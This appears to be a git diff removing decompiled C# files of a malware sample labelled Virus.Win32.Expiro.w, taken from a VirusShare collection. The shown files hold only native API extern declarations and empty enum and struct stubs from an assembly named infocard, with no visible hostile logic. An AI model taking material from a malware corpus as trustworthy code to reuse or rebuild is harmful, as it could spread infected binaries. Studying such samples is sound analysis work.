CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* GetCurrentProcess(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint InfoCardStopRpcServer(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void InfoCardKeyGenZeroAndFree([In] byte* obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoDispatchRequest( - [In] void* obj0, - [In] ushort* obj1, - [In] _RPC_REQUEST* obj2, - [In] _RPC_RESPONSE** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe _CRYPT_OID_INFO* CryptFindOIDInfo( - [In] uint obj0, - [In] void* obj1, - [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringBindingComposeW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] ushort* obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] ushort** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int OpenProcessToken([In] void* obj0, [In] uint obj1, [In] void** obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFromStringBindingW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* _getFiberPtrId(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _amsg_exit([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void __security_init_cookie(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void Sleep([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException( - [In] Exception obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer( - [In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain( - [In] __FnPtr obj0, - [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _cexit(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int __FrameUnwindFilter([In] _EXCEPTION_POINTERS* obj0); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACCESS_MODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACCESS_MODE.cs deleted file mode 100644 index 9e31f129..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACCESS_MODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACCESS_MODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ACCESS_MODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL.cs deleted file mode 100644 index 820c6252..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ACL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL_INFORMATION_CLASS.cs deleted file mode 100644 index d11bbd29..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _ACL_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACTIVATION_CONTEXT_INFO_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACTIVATION_CONTEXT_INFO_CLASS.cs deleted file mode 100644 index 0c3aa597..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACTIVATION_CONTEXT_INFO_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACTIVATION_CONTEXT_INFO_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ACTIVATION_CONTEXT_INFO_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_APTTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_APTTYPE.cs deleted file mode 100644 index cea8063e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_APTTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _APTTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _APTTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index 7fb79c4c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_BIN_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_BIN_TYPES.cs deleted file mode 100644 index 1b0dd9c0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_BIN_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _BIN_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _BIN_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CERT_CHAIN_CONTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CERT_CHAIN_CONTEXT.cs deleted file mode 100644 index f990ab05..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CERT_CHAIN_CONTEXT.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CERT_CHAIN_CONTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _CERT_CHAIN_CONTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CHANGER_DEVICE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CHANGER_DEVICE_PROBLEM_TYPE.cs deleted file mode 100644 index eb5420a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CHANGER_DEVICE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CHANGER_DEVICE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CHANGER_DEVICE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_ERROR_CONTROL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_ERROR_CONTROL_TYPE.cs deleted file mode 100644 index c04820d7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_ERROR_CONTROL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_ERROR_CONTROL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_ERROR_CONTROL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_LOAD_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_LOAD_TYPE.cs deleted file mode 100644 index 5dbb806f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_LOAD_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_LOAD_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CM_SERVICE_LOAD_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_NODE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_NODE_TYPE.cs deleted file mode 100644 index 4b840930..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_NODE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_NODE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_SERVICE_NODE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_COMPUTER_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_COMPUTER_NAME_FORMAT.cs deleted file mode 100644 index 2eb43190..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_COMPUTER_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _COMPUTER_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _COMPUTER_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CRYPT_OID_INFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CRYPT_OID_INFO.cs deleted file mode 100644 index 6ebb74c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CRYPT_OID_INFO.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CRYPT_OID_INFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct _CRYPT_OID_INFO -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024139\u0024 - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DETECTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DETECTION_TYPE.cs deleted file mode 100644 index 657846f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DETECTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DETECTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DETECTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DEVICE_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DEVICE_POWER_STATE.cs deleted file mode 100644 index af42348f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DEVICE_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DEVICE_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DEVICE_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DISK_WRITE_CACHE_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DISK_WRITE_CACHE_STATE.cs deleted file mode 100644 index 377fbfff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DISK_WRITE_CACHE_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DISK_WRITE_CACHE_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DISK_WRITE_CACHE_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_CHARSET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_CHARSET.cs deleted file mode 100644 index 329e80cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_CHARSET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_CHARSET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DNS_CHARSET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_NAME_FORMAT.cs deleted file mode 100644 index 4e4a33dd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - 